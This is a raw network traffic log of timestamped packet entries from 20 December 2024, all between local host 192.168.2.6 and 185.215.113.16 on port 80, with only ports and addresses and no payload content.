Dec 20, 2024 16:19:59.077166080 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.077636957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.077675104 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.077805996 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.078177929 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.078222990 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.078252077 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.078274965 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.078311920 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.206423998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.206473112 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.206486940 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.206542969 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.206764936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.206929922 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.206942081 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.206986904 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.207577944 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.207663059 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.207675934 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.207730055 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.208302975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.208362103 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.208410978 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.208425045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.208467007 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.209218025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.209275961 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.209289074 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.209340096 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.209923029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.209965944 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.209995985 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.210007906 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.210052967 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.210664988 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.210741997 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.210757017 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.210789919 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.254839897 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.283431053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.283478975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.283607006 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.350879908 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.350925922 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.350941896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.350995064 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.351057053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.351100922 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.351272106 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.354980946 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.355000019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.355012894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.355025053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.355037928 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.355045080 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.355051994 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.355066061 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.355087996 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.355094910 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.355108023 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.355134010 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.355171919 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.355175018 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.355365038 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.355381012 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.355551958 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.356573105 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.356755972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.356761932 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.356770039 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.356817007 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.357182980 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.357198000 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.357237101 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.357347012 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.357964993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.357981920 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.357997894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.358047962 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.358836889 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.358855009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.358870029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.358918905 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.359165907 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.359304905 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.359374046 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.359390974 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.359430075 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.360047102 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.360061884 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.360078096 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.360105038 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.360637903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.360805035 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.360821009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.360856056 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.360892057 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.361480951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.361676931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.361690998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.361735106 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.362243891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.362257004 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.362298012 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.362397909 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.362437010 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.362982035 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.363054037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.363066912 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.363112926 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.480055094 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.480142117 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.480271101 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.480345964 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.480412960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.480626106 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.480643034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.480686903 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.481218100 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.481252909 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.481308937 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.481327057 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.481880903 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.482429981 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.482446909 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.482485056 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.482562065 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.482585907 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.482601881 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.482625008 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.482650995 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.482939959 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.483129025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.483145952 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.483181000 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.483738899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.483781099 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.483887911 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.483905077 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.483944893 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.484473944 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.484618902 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.484633923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.484663963 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.485327005 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.485373020 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.485500097 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.485517979 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.485567093 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.486042976 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.486182928 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.486198902 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.486274958 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.486876011 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.486921072 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.487014055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.487030029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.487346888 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.487874031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.487978935 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.487998962 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.488023996 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.488502979 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.488581896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.488594055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.488616943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.488653898 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.489188910 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.489326954 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.489337921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.489388943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.489988089 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.490076065 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.490087986 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.490094900 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.490147114 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.490972996 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.490983963 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.490998983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.491034985 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.491729975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.491744041 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.491755009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.491825104 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.491825104 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.492351055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.492490053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.492502928 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.492614031 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.492830038 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.494345903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.494406939 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.494448900 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.494462013 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.494503975 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.494683027 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.494694948 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.494762897 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.495042086 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.495234966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.495248079 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.495260954 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.495307922 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.495645046 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.495769978 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.498418093 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.511070013 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.511176109 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.511212111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.511267900 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.511514902 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.511567116 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.511636972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.511672974 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.511722088 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.512171030 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.545984030 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.546049118 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.546236038 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.546271086 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.548367023 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.550085068 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.550137997 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.550173044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.550228119 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.550483942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.550518990 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.550539017 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.550555944 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.550601959 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.550978899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.551012993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.551090002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.551290989 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.551417112 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.551454067 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.551462889 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.551600933 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.551659107 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.551752090 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.551788092 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.552067041 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.552076101 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.552308083 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.552355051 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.552360058 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.552831888 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.552948952 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.612454891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.612514973 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.612554073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.612586021 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.612875938 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.612979889 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.613220930 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.613255024 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.613333941 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.613683939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.613719940 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.613754988 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.614214897 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.614254951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.614352942 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.614403009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.614438057 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.614483118 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.615097046 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.615222931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.615257978 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.615272999 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.615853071 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.615925074 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.615963936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.615999937 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.616044044 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.616693020 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.616807938 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.616842985 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.616856098 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.661084890 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.672470093 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.672548056 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.672583103 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.672631025 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.673065901 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.673101902 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.673110008 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.673136950 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.673489094 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.673568964 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.674700975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.674757957 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.674833059 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.674866915 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.674925089 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.675192118 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.675298929 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.675348997 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.675353050 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.675915956 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.675962925 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.676022053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.676059008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.676116943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.676697969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.676841021 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.676876068 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.676894903 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.677488089 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.677539110 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.677673101 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.677710056 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.677989960 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.678241968 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.678361893 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.678395987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.678411961 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.679050922 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.679096937 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.679157972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.679193020 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.679471016 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.679900885 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.680020094 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.680054903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.680069923 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.680641890 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.680685997 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.680737972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.680871010 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.681037903 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.681340933 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.681456089 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.681504011 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.681634903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.682143927 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.682199955 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:59.682257891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:59.682415009 CET	80	49828	185.215.113.16	192.168.2.6
